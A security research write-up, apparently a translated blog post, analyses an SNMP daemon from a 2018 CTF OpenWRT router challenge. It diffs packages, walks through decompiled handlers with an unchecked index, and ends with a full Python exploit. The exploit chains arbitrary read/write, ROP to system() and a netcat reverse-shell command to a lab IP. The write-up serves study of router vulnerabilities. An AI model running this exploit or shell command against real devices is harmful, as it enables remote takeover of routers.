OpenWRT Vulnerability Exploration and SNMP Analysis

Author: Water Drop Laboratory
Organization: Heng’an Jiaxin

Introduction

With the gradual development of the Internet of Things era, the connections between devices are becoming tighter, and each node cannot exist independently. Devices that are closely related to each of us, such as routers, cameras, and printers, increasingly affect various aspects of our lives, from personal privacy to intelligence gathering between hostile forces, and network attacks. In current APT attacks, targeting routers is not uncommon, and with the development of a smart society where everything is interconnected, attacks on routers are becoming more frequent. Therefore, in the future IoT security landscape, router security is also an important aspect, and research on router security is crucial. This article takes OpenWRT routers as an example to explore the security research methods for this type of router. This article is for learning and reference purposes only; please forgive any shortcomings.

Using the Real World Finals 2018 Router, the SNMP service vulnerability is taken as an example to explain the OpenWRT vulnerability exploration process.

# Installation package: libnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.i

1. Introduction to OpenWRT

The OpenWRT installation program is installed using IPK

First, IPK is a tar compressed package, and the installation is actually completed by decompressing it to the root directory of the system. Therefore, the installation of IPK is overwriting installation. This means that reinstalling will overwrite the original files.

Structure of IPK

The structure of IPK contains 3 files: debian-binary     ## Version information, generally written as 2.0……data.tar.gz       ## The data package of the installation package, the main installation files are here, installed by decompressing this file to the root directorycontrol.tar.gz    ## Installation configuration files, which contain the configuration scripts of the installation package. # data.tar.gz is the focus of analysis, as it contains library files or applications

2. Finding Custom Functions in OpenWRT Modules

Modular systems like OpenWRT are generally modified based on open-source frameworks, changing sub-modules.

When analyzing programs in OpenWRT firmware, we can compare the files in the installation *.ipk package with the files in the publicly available OpenWRT installation *.ipk package using bindiff to quickly locate custom functions in modified modules. The specific process is as follows:

2.1 Download the SNMP installation package provided by the OpenWRT official website

libnetsnmp_5.8-1_arm_cortex-a9.ipk

snmpd_5.8-1_arm_cortex-a9.ipk

2.2 Compare the files in the installation package

Library file comparison for libnetsnmp_5.8-1_arm_cortex-a9.ipk:

OpenWRT Vulnerability Exploration and SNMP Analysis

Comparison of the snmpd application in snmpd_5.8-1_arm_cortex-a9.ipk:

OpenWRT Vulnerability Exploration and SNMP Analysis

It can be found that: libnetsnmpagent.so.35.0.0 and libnetsnmp.so.35.0.0 library files have undergone significant changes

2.3)bindiff comparison of library files

libnetsnmp.so.35.0.0

OpenWRT Vulnerability Exploration and SNMP Analysis

View init_mib_modules comparison process:

OpenWRT Vulnerability Exploration and SNMP Analysis

From the comparison, it can be seen that:init_mib_modules (initialize MIB) modified the official OpenWRT provided init_mib_modules.

According to this method, it can be known that:

init_greatSensors

handle_greatMiscSensorsDevice

handle_greatMiscSensorsIndex

are custom functions that are key analysis targets in OpenWRT vulnerability exploration. Then use disassembly tools such as ida, Ghidra for detailed analysis.

3. Environment Setup

3.1)Compile OpenWRT

Required compilation packages for Ubuntu

sudo apt-get install gcc g++ binutils patch bzip2 flex bison make autoconf gettext texinfo unzip sharutils subversion libncurses5-dev ncurses-term zlib1g-dev gawk asciidoc libz-dev

sudo apt-get install gcc sudo apt-get install g++sudo apt-get install binutils sudo apt-get install patch sudo apt-get install bzip2 sudo apt-get install flexsudo apt-get install bison sudo apt-get install makesudo apt-get install autoconf sudo apt-get install gettext sudo apt-get install texinfo sudo apt-get install unzipsudo apt-get install sharutilssudo apt-get install subversionsudo apt-get install libncurses5-dev sudo apt-get install ncurses-term sudo apt-get install zlib1g-devsudo apt-get install subversion sudo apt-get installgit-core sudo apt-get install gawksudo apt-get install asciidoc sudo apt-get install libz-dev

Check compilation environment

# Check if the compilation environment is complete. If an error is prompted, troubleshoot based on the error information. # Generally prompts missing related tools, apt install is sufficient./scripts/feeds update -a./scripts/feeds install -a

Customize the system according to needs

# Target System, Subtarget need to be correctly selected based on the target board model. # Other functional modules are selected according to demand mira@ubuntu:openwrt $ make menuconfig
Target System: BCM47XX/53XX Target Profile: Netgear R6300 v2

OpenWRT Vulnerability Exploration and SNMP Analysis

Target Images: squashfs   // System type

OpenWRT Vulnerability Exploration and SNMP Analysis

Development: gdb gdbserver // For debugging

OpenWRT Vulnerability Exploration and SNMP Analysis

View the compiled file system:

mira@ubuntu:openwrt$ cd build_dir/target-arm_cortex-a9_musl_eabi/root-bcm53xxmira@ubuntu:root-bcm53xx$ lsbindevetclibmntoverlayprocromrootsbinsystmpusrvarwww

3.2)Fix snmpd environment and install

Transfer the compiled file system to the debian-armhf virtual system

mira@ubuntu:target-arm_cortex-a9_musl_eabi$ tar -cf ./root-bcm53xx.tar root-bcm53xxmira@ubuntu:target-arm_cortex-a9_musl_eabi$ python -m SimpleHTTPServer 80root@debian-armhf:~/R6300_snmp# wget http://192.168.2.209/root-bcm53xx.tarroot@debian-armhf:~/R6300_snmp# tar -xf ./root-bcm53xx.tar

Transfer the snmpd topic .ipk package to debian-armhf

mira@ubuntu:R6300Snmp$ lslibnetsnmp_5.8-1_arm_cortex-a9.ipksnmpd_5.8-1_arm_cortex-a9.ipkmira@ubuntu:R6300Snmp$ python -m SimpleHTTPServer 80# OpenWrtroot@debian-armhf:~/R6300_snmp/root-bcm53xx # wget http://192.168.2.209/libnetsnmp_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# wget http://192.168.2.209/snmpd_5.8-1_arm_cortex-a9.ipkroot@debian-armhf:~/R6300_snmp/root-bcm53xx# lsbin                                 rootdev                                 sbinetc                                 snmpd_5.8-1_arm_cortex-a9.ipklib                                 syslibnetsnmp_5.8-1_arm_cortex-a9.ipk  tmpmnt                                 usroverlay                             varproc                                wwwrom

Mount the file system

root@debian-armhf:~/root-bcm53xx#mount -o bind /dev/ ./dev/ root@debian-armhf:~/root-bcm53xx#mount -t proc /proc/ ./proc/ root@debian-armhf:~/root-bcm53xx# mount sysfs./sys -t sysfs root@debian-armhf:~/root-bcm53xx# chroot . ./bin/sh

Install snmp environment:

/ # mkdir /var/lock/ # mkdir /var/run/ # opkg install ./libnetsnmp_5.8-1_arm_cortex-a9.ipk/ # opkg install ./snmpd_5.8-1_arm_cortex-a9.ipk

Check the installation of snmpd, manually start the service

/ # find / -name snmpdfind: /sys/module/smsc/drivers/mdio_bus:SMSC LAN8710/LAN8720: No such file or directory/usr/sbin/snmpd/etc/init.d/snmpd/etc/config/snmpd/ # netstat -anp|grep snmpd// Not found/ #// manually start/ # /usr/sbin/snmpd/ # netstat -anp|grep snmpdudp  0  0 0.0.0.0:161   0.0.0.0:*       3607/snmpdudp  0  0 :::161   :::*                 3607/snmpdunix 2 [ ACC ] STREAM  LISTENING  12833 3607/snmpd/var/run/agentx.sock / # ps | grep snmpd2599 root2080 S  /usr/sbin/snmpd2784 root1104 S  grep snmpd

Use snmpwalk to traverse the SNMP OIDs:

mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89mira@ubuntu:~$ snmpwalk -c public -O n -v 1 192.168.122.89 ..1.3.6.1.4.1.2021.13.32.1.0 = INTEGER: 0.1.3.6.1.4.1.2021.13.32.2.0 = INTEGER: 1995953448End of MIB
4. SNMP Protocol

4. 1)Introduction to SNMP

Mainly used to provide device operation and system information

1. SNMP is an application layer protocol of the TCP/IP protocol suite, working on UDP port 161. It is used to monitor the operating system, hardware devices, service applications, software and hardware configuration, network protocol status, device performance and resource utilization, device error event information, application status, and other software and hardware information of target devices. 2. The communication strings of SNMP mainly contain two types of commands: GET command and SET command. Get: Read the status information of network devices, such as connection status, interface name, etc. Set: Remote configuration of device parameters, such as disabling a network interface, modifying router parameters, etc. Trap: Management stations can obtain important information from devices in a timely manner. ** Both GET and SET commands may be used for denial-of-service attacks (DoS) and malicious modification of network parameters.

The SNMP protocol is based on the OID tree for information storage management

A complete SNMP system mainly includes Management Information Base (MIB), Structure of Management Information (SMI), and SNMP message protocol.

Management Information Base MIB: Defines the network devices that can be accessed and their attributes, uniquely identified by Object Identifiers (OID). MIB is a tree structure, and SNMP protocol messages access devices in the network by traversing the nodes of the MIB tree directory. The identifier of a specific object can be obtained through the path from the root to that object. For example, the MIB variable named ipInReceives under the ip namespace node is assigned the numerical value 3, thus the name of this variable is: iso.org.dod.internet.mgmt.mib.ip.ipInReceives, and the corresponding numerical representation (Object Identifier OID, uniquely identifies a MIB object) is: 1.3.6.1.2.1.4.3

SNMP Commands

snmpwalk

SNMPWALK is a command that implements complete extraction output of specified MIB branch information from the target AGENT through SNMP GET-NEXT type PDU.

snmpwalk [options] agent [oid]a) –h   Show helpb) –v 1|2c|3 Specify SNMP protocol versionc) –V  Show the current SNMPWALK command line versiond) –r RETRIES Specify the number of retries, default is 0 times.e) –t TIMEOUT Specify the waiting timeout for each request, in seconds, default is 3 seconds.f) –Cc Specify whether to continue WALK if negative growth of OID is found during WALK.2. Options for V1 and V2C a) –c COMMUNITY Specify the community string. 3. Options for V3 a) –l LEVEL Specify security level: noAuthNoPriv|authNoPriv|authPrivb) –u USER-NAME Security namec) –a PROTOCOL Verification protocol: MD5|SHA. Required only if -l is specified as authNoPriv or authPriv.d) –A PASSPHRASE Verification string. Required only if -l is specified as authNoPriv or authPriv.e) –x PROTOCOL Encryption protocol: DES. Required only if -l is specified as authPriv.f) –X PASSPHRASE Encryption string: Required only if -l is specified as authPriv.
snmpwalk -c public -o n -v 1 192.168.1.1snmpget -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0   // Readsnmpset -c public -v 1 192.168.1.1 1.3.6.1.4.1.2021.13.32.1.0 i val // Set value (overwrite, there are vulnerabilities)

4.2)SNMP Demo

The development of SNMP is mainly based on the open-source framework and follows the SNMP interface to develop sub-modules.

/** Note: this file originally auto-generated by mib2c using*  $*/#include <net-snmp/net-snmp-config.h>#include <net-snmp/net-snmp-includes.h>#include  <net-snmp/agent/net-snmp-aget-includes.h>#include "Test.h"#include <time.h>/** Initializes the Test module */voidinit_Test(void){const oidGetTime_oid[] = { 1, 3, 6, 1, 4, 1, 16535, 1, 1 };DEBUGMSGTL(("Test",  "Initializing\n"));netsnmp_register_scalar(netsnmp_create_handler_registration                        ("GetTime", handle_GetTime, GetTime_oid,                          OID_LENGTH(GetTime_oid),HANDLER_CAN_RONLY));}inthandle_GetTime(netsnmp_mib_handler  *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info *reqinfo, netsnmp_request_info *requests){/**We are never called for a GETNEXT if it's registered as a *"instance", as it's "magically" handled for us.*//**a instance handler also only hands us one request at a time, so *we don't need to loop over a list of requests; we'll only get one.*/time_t t;switch (reqinfo->mode) { case MODE_GET:  time(&t);  char szTime[100];  snprintf(szTime,100,"%s",ctime(&t));  snmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,/** XXX: a pointer to the scalar's data*/ szTime ,/** XXX: the length of the data in bytes*/ strlen(szTime));break;default:/** we should never get here, so this is a really bad error*/snmp_log(LOG_ERR, "unknown mode (%d) in handle_GetTime\n", reqinfo->mode);return SNMP_ERR_GENERR;}return SNMP_ERR_NOERROR;}static int keep_running;RETSIGTYPE stop_server(int attribute ((unused)) a) { keep_running = 0;}int main(){const char *app_name = "Test";/* we are a subagent */netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,  NETSNMP_DS_AGENT_ROLE,  1);/* initialize the agent library */ init_agent(app_name);/* initialize your mib code here */ init_Test();/* Test will be used to read Test.conf files. */ init_snmp("Test");keep_running = 1; while(keep_running)agent_check_and_process(1);/* block every 1 second */}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();return 0;}int main (int argc, char **argv){int arg;char* cp = NULL;int dont_fork = 0, do_help = 0;while ((arg = getopt(argc, argv, "dD:fhHL:"#ifndef DISABLE_MIB_LOADING"m:M:"#endif /* DISABLE_MIB_LOADING */"n:"#ifndef DISABLE_MIB_LOADING"P:"#endif /* DISABLE_MIB_LOADING */"vx:")) != EOF) {switch (arg) {case 'D':/* Here omitted multiple case breaks, just some options, no need to study/ break;default:fprintf(stderr, "invalid option: -%c\n", arg); usage(argv[0]);break;   }}if (do_help) { netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_NO_ROOT_ACCESS, 1);} else {/* we are a subagent First step: here is to tell snmpd we this Test as a sub-agent */ netsnmp_ds_set_boolean(NETSNMP_DS_APPLICATION_ID,NETSNMP_DS_AGENT_ROLE, 1);if (!dont_fork) {/* Here is to make the Test program become a daemon, executing Test can run in the background without exiting */if (netsnmp_daemonize(1, snmp_stderrlog_status()) != 0) exit(1);}/* initialize tcpip, if necessary */ SOCK_STARTUP;}/* initialize the agent library Second step */ init_agent(app_name);/* initialize your mib code here Third step */init_Test();/* Test will be used to read Test.conf files. Fourth step */ init_snmp("Test");if (do_help) {fprintf(stderr, "Configuration directives understood:\n"); read_config_print_usage("");exit(0);}/* In case we received a request to stop (kill -TERM or kill -INT) */netsnmp_running = 1;#ifdef SIGTERMsignal(SIGTERM, stop_server);#endif#ifdef SIGINTsignal(SIGINT, stop_server);#endif#ifdef SIGHUPsignal(SIGHUP, hup_handler);#endif/* main loop here... */ while(netsnmp_running) {if (reconfig) { free_config(); read_configs(); reconfig = 0;}agent_check_and_process(1);}/* at shutdown time */ snmp_shutdown(app_name);/* deinitialize your mib code here *//* shutdown the agent library */ shutdown_agent();SOCK_CLEANUP;exit(0);}

4.3)Analysis of Three Key SNMP Functions

Used to locate custom functions (key focus of vulnerability exploration)

Net-SNMP Agent handler and extensibility API

init_mib_modules

Initializes the MIB, and can check the registered module interfaces through this function to find custom device objects and custom functions.

void init_mib_modules(void){#ifdef USING_IF_MIB_DATA_ACCESS_INTERFACE_MODULEnetsnmp_access_interface_init();#endif#include "mib_module_inits.h"}

netsnmp_create_handler_registration

netsnmp_handler_registration * netsnmp_create_handler_registration(const char *name,// Register function nameNetsnmp_Node_Handler *handler_access_method,// Register functionconst oid *reg_oid, size_treg_oid_len,intmodes) Creates a handler registration structure using a new MIB handler. This function first creates a MIB handler, then creates a registration structure for it. Parameters: name  is the handler name of netsnmp_create_handler() handler_access_method is a function pointer used as an access method for netsnmp_create_handler() reg_oid is the registration location oid. reg_oid_len is the length of reg_oid; can use OID_LENGTH macro modes for configuring read/write access, such as netsnmp_handler_registration_create() Return value: Returns a pointer to the netsnmp_handler_registration structure. If the structure creation fails, returns NULL.

snmp_set_var_typed_value

handle_GetTime(netsnmp_mib_handler *handler,netsnmp_handler_registration *reginfo, netsnmp_agent_request_info *reqinfo, netsnmp_request_info *requests); // Callback function // snmp_set_var_typed_value data transfersnmp_set_var_typed_value(requests->requestvb, ASN_OCTET_STR,/*XXX: a pointer to the scalar's data*/ szTime,/*XXX: the length of the data in bytes*/ strlen(szTime))}// The registration function for locating callback functions (custom functions, key focus of vulnerability exploration) netsnmp_register_scalar(netsnmp_create_handler_registration("GetTime", handle_GetTime , GetTime_oid, OID_LENGTH(GetTime_oid), HANDLER_CAN_RONLY));
5. Vulnerabilities in SNMP Service

Based on the above—2. Finding Custom Functions in OpenWRT Modules results, function analysis

int init_mib_modules(){int result; // r0@1 int v1; // r3@3result = should_init((int)"greatSensors"); if ( result )result = j_init_greatSensors(); v1 = dword_1102C;dword_11028 = 1;if ( !dword_1102C ){dword_1102C = 1;result = snmp_register_callback(v1, 2, sub_9D4); if ( result )result = snmp_log(3, "error registering for SHUTDOWN callback for mib modules\n");}return result;}

Register callback functions

// Register oidvoid *init_greatSensors(){  int v0; // r0@1  int v1; // r0@1  void *result; // r0@1  int device_oid; // [sp+10h] [bp-60h]@1  signed int v4; // [sp+14h] [bp-5Ch]@1  signed int v5; // [sp+18h] [bp-58h]@1  signed int v6; // [sp+1Ch] [bp-54h]@1  signed int v7; // [sp+20h] [bp-50h]@1  signed int v8; // [sp+24h] [bp-4Ch]@1  signed int v9; // [sp+28h] [bp-48h]@1  signed int v10; // [sp+2Ch] [bp-44h]@1  signed int v11; // [sp+30h] [bp-40h]@1  signed int v12; // [sp+34h] [bp-3Ch]@1  int index_oid; // [sp+38h] [bp-38h]@1  signed int v14; // [sp+3Ch] [bp-34h]@1  signed int v15; // [sp+40h] [bp-30h]@1  signed int v16; // [sp+44h] [bp-2Ch]@1  signed int v17; // [sp+48h] [bp-28h]@1  signed int v18; // [sp+4Ch] [bp-24h]@1  signed int v19; // [sp+50h] [bp-20h]@1  signed int v20; // [sp+54h] [bp-1Ch]@1signed int v21; // [sp+58h] [bp-18h]@1  signed int v22; // [sp+5Ch] [bp-14h]@1  device_oid = 1;  v4 = 3;  v5 = 6;  v6 = 1;  v7 = 4;  v8 = 1;  v9 = 2021;  v10 = 13;  v11 = 32;  v12 = 2;  index_oid = 1;  v14 = 3;  v15 = 6;  v16 = 1;  v17 = 4;  v18 = 1;  v19 = 2021;  v20 = 13;  v21 = 32;  v22 = 1;  v0 = netsnmp_create_handler_registration((int)"greatMiscSensorsDevice", (int)off_10FFC, (int)&device_oid, 10);  netsnmp_register_scalar(v0);  v1 = netsnmp_create_handler_registration((int)"greatMiscSensorsIndex", (int)off_10FF0, (int)&index_oid, 10);  netsnmp_register_scalar(v1); result = malloc(0x78u);dword_11024 = (int)result;dword_11020 = 0;return result;}

5.1)Two Callback Functions:

handle_greatMiscSensorsIndex (Vulnerability Point)

int fastcall handle_greatMiscSensorsIndex(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *requests){int v4; // r4@1_DWORD *v5; // r5@2 netsnmp_agent_request_info *v6; // r6@2 int result; // r0@5v4 = reginfo->mode;if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); // No check for data, leading to integer overflowreturn 0;}v5 =requests; v6 =reginfo;if  (reginfo->mode > 2 ) //read buf{if ( v4 > 5 ){if ( v4 != 160 )goto LABEL_5;snmp_set_var_typed_value(*requests, 2, (int)&dword_11020_index, 4);}return 0;}if ( v4 ){if ( v4 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*requests, 2); if ( result ){netsnmp_set_request_error(v6, v5, result); return 0;}return result;}

5.2)handle_greatMiscSensorsDevice

int fastcall handle_greatMiscSensorsDevice(int a1, int a2, netsnmp_agent_request_info *reginfo, _DWORD *a4){netsnmp_agent_request_info *v4; // r6@1 int v5; // r4@1_DWORD *v6; // r5@1int result; // r0@5int v8; //r0@8int v9; //r3@9const char*v10; // r2@9int v11; // r1@9signed int v12; // r2@15v4 =reginfo;v5 = reginfo->mode; v6= a4;if( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4 + 16);return 0;}v12 = 13; LABEL_16:netsnmp_set_request_error(v4, v6, v12); return 0;}if ( reginfo->mode > 2 ) //read buf{if ( v5 > 5 ){if ( v5 != 160 )goto LABEL_5; v8 = *a4;if ( dword_11020_index > 29 ){v9 = 7;v11 = 4;v10 = "Go Back";}else{ // When dword_11020_index <=29, read memory based on dword_11020_index value v9 = 4;v10 = (const char *)(dword_11024_devbuf + 4 * dword_11020_index); v11 = 2;}snmp_set_var_typed_value(v8, v11, (int)v10, v9);}return 0;}if ( v5 ){if ( v5 != 1 ){ LABEL_5:snmp_log(3, "unknown mode (%d) in handle_greatMiscSensorsDevice\n", reginfo->mode);return 5;}return 0;}result = netsnmp_check_vb_type(*a4, 2); if ( result ){v12 = result; goto LABEL_16;}return result;}

When the value of dword_11020_index is set to greater than 29, the value of device_oid (.1.3.6.1.4.1.2021.13.32.2.0) is:Go Back

OpenWRT Vulnerability Exploration and SNMP Analysis

5.3)Vulnerability Analysis

The handle_greatMiscSensorsIndex oid object (.1.3.6.1.4.1.2021.13.32.1.0) sets the value of dword_11020_index:

if ( reginfo->mode == 2 ) //write buf{dword_11020_index = **(_DWORD **)(*requests + 16); // No check for data, leading to integer overflowreturn 0;}

handle_greatMiscSensorsDevice oid object (.1.3.6.1.4.1.2021.13.32.2.0) write operation is as follows:

if ( reginfo->mode == 2 ) //write buf{if ( dword_11020_index <= 29 ){*(_DWORD *)(dword_11024_devbuf + 4 * dword_11020_index) = **(_DWORD **)(*a4+ 16);return 0;}

Causes of Vulnerability

In handle_greatMiscSensorsDevice, the memory write location is determined based on the value of dword_11020_index in handle_greatMiscSensorsIndex, and there is no check for the value of dword_11020_index when set, leading to arbitrary write when dword_11020_index is less than 0; the same goes for read, allowing arbitrary read.

6 POC

The POC code for this environment is as follows:

from pwn import * import sysimport os import structcontext.log_level="debug"def read(ip,offset):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0" %ip os.system(cmd1)p2=process(cmd2,shell=True) p2.recvuntil("INTEGER: ") leak=int(p2.recvuntil("\n").strip()) if leak<0:leak = 0x100000000+leak p2.close()return leakdef write(ip,offset,data):cmd1="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0 i %s" % (ip,offset/4)cmd2="snmpset -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.2.0 i %s" %(ip,data) os.system(cmd1)time.sleep(1)os.system(cmd2)def getshell(ip):cmd3="snmpget -c public -v 1 %s .1.3.6.1.4.1.2021.13.32.1.0" %ip os.system(cmd3)if      name     =="     main     ": ip=sys.argv[1]#lead addr# handler_dev: 0x76e72ffcdev_buf(0x76f349f0) handler_dev_addr=read(ip,-0xC19F4) mibso_base=handler_dev_addr-0x70c# Calculate libc.so base address based on libnetsnmpmibs.so base address# offset = libc_addr - libnetsnmpmibs.so.35.0.0_addr = 0x76f46000 - 0x76ef5000 = 0x51000libc_address = mibso_base+0x51000 log.info("mibso_base="+hex(mibso_base)) log.info("libc_base="+hex(libc_address))system_addr = libc_address +0x43210dev_buf = mibso_base +0xd2e90 # calc dev_buf dev_buf(0xb6fe5e90)- mibso_base(vmmp)cmd_buf = mibso_base+0x11100 # store cmd bufmagic = libc_address +0x596BC # dword_80394(dword_80398); rop chain rop_func = libc_address +0x80394rop_para = libc_address +0x80398# write cmd to cmd_bufcmd = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/ls -i 2>&1|nc 192.168.2.209 8888 > /tmp/f\x00\x00\x00\x00'for i in range(len(cmd)/4):write(ip,cmd_buf-dev_buf+i*4,struct.unpack('i',cmd[i*4: i*4+4])[0])time.sleep(1)write(ip, rop_func - dev_buf, system_addr-0x100000000) write(ip, rop_para - dev_buf, cmd_buf-0x100000000)# write handler_indexrop_addr = -0xC1A00 #dev_buf(0x76f349f0) - handler_index(0x76e72ff0) write(ip,rop_addr,magic-0x100000000)getshell(ip)

ROP Information:

#### ROP// Arbitrary memory write when R3 system; R2  param// libc.so :arm LOAD:000596BC    LDR     R3, =(dword_80394 - 0x596CC)LOAD:000596C0    LDR     R2, =(dword_80398 - 0x596D0)LOAD:000596C4    ADD     R3, PC, R3 ; dword_80394LOAD:000596C8    LDR     R0, [PC,R2] ; dword_80398LOAD:000596CC    LDR     R3, [R3]LOAD:000596D0    BLX     R3LOAD:000596D4    MOV     R0, R5LOAD:000596D8     BL     sem_postLOAD:000596DC    MOV     R0, R4LOAD:000596E0     BL     sem_wait
7. Execution Effects of POC

Listening

OpenWRT Vulnerability Exploration and SNMP Analysis

Executing poc.py

OpenWRT Vulnerability Exploration and SNMP Analysis

OpenWRT Vulnerability Exploration and SNMP Analysis

References

https://www.jianshu.com/p/77293121030e

Please indicate from: Critical Infrastructure Security Emergency Response Center (WeChat ID: CII-SRC)

OpenWRT Vulnerability Exploration and SNMP Analysis

Leave a Comment